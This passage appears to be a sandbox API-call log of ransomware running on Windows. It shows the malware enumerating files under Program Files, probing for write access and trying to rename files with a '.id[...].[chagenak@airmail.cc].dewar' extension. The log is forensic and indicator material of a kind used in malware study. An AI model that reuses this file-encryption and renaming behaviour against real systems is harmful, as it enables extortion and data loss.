files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.377] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=9728) returned 1 [0244.377] CloseHandle (hObject=0xe0) returned 1 [0244.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0244.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0244.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.378] SetEvent (hEvent=0x118) returned 1 [0244.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.379] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5120) returned 1 [0244.379] CloseHandle (hObject=0xe0) returned 1 [0244.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui")) returned 0x20 [0244.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui")) returned 0x20 [0244.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.386] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5632) returned 1 [0244.386] CloseHandle (hObject=0xe0) returned 1 [0244.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0244.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0244.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.391] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=13824) returned 1 [0244.391] CloseHandle (hObject=0xe0) returned 1 [0244.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0244.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0244.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.392] SetEvent (hEvent=0x118) returned 1 [0244.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.393] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7168) returned 1 [0244.393] CloseHandle (hObject=0xe0) returned 1 [0244.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0244.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0244.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.395] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5632) returned 1 [0244.395] CloseHandle (hObject=0xe0) returned 1 [0244.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0244.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0244.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.401] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=518) returned 1 [0244.401] CloseHandle (hObject=0xe0) returned 1 [0244.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg")) returned 0x20 [0244.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg")) returned 0x20 [0244.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.402] SetEvent (hEvent=0x118) returned 1 [0244.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.403] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=588) returned 1 [0244.403] CloseHandle (hObject=0xe0) returned 1 [0244.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg")) returned 0x20 [0244.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg")) returned 0x20 [0244.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.405] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=749568) returned 1 [0244.405] CloseHandle (hObject=0xe0) returned 1 [0244.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0244.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0244.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.412] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8192) returned 1 [0244.413] CloseHandle (hObject=0x1b4) returned 1 [0244.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0244.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0244.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.485] SetEvent (hEvent=0x118) returned 1 [0244.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0244.637] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=98304) returned 1 [0244.638] CloseHandle (hObject=0x1c8) returned 1 [0244.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll")) returned 0x20 [0244.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll")) returned 0x20 [0244.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.639] SetEvent (hEvent=0x118) returned 1 [0244.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0245.179] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=47616) returned 1 [0245.180] CloseHandle (hObject=0x204) returned 1 [0245.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0245.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0245.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.181] SetEvent (hEvent=0x118) returned 1 [0245.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0245.335] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=78336) returned 1 [0245.336] CloseHandle (hObject=0x1e0) returned 1 [0245.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe")) returned 0x20 [0245.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe")) returned 0x20 [0245.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\afr38.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\afr38.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.468] SetEvent (hEvent=0x118) returned 1 [0245.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0245.472] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=77884) returned 1 [0245.473] CloseHandle (hObject=0x1e0) returned 1 [0245.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf")) returned 0x20 [0245.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf")) returned 0x20 [0245.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.474] SetEvent (hEvent=0x118) returned 1 [0245.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0245.478] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=61440) returned 1 [0245.478] CloseHandle (hObject=0x1e0) returned 1 [0245.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax")) returned 0x20 [0245.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax")) returned 0x20 [0245.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.479] SetEvent (hEvent=0x118) returned 1 [0245.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0245.482] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2258432) returned 1 [0245.482] CloseHandle (hObject=0x1e0) returned 1 [0245.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe")) returned 0x20 [0245.482] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0245.484] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe")) returned 0 [0245.485] SetEvent (hEvent=0x118) returned 1 [0245.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.491] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=51712) returned 1 [0245.491] CloseHandle (hObject=0x1f0) returned 1 [0245.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui")) returned 0x20 [0245.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui")) returned 0x20 [0245.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.493] SetEvent (hEvent=0x118) returned 1 [0245.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program 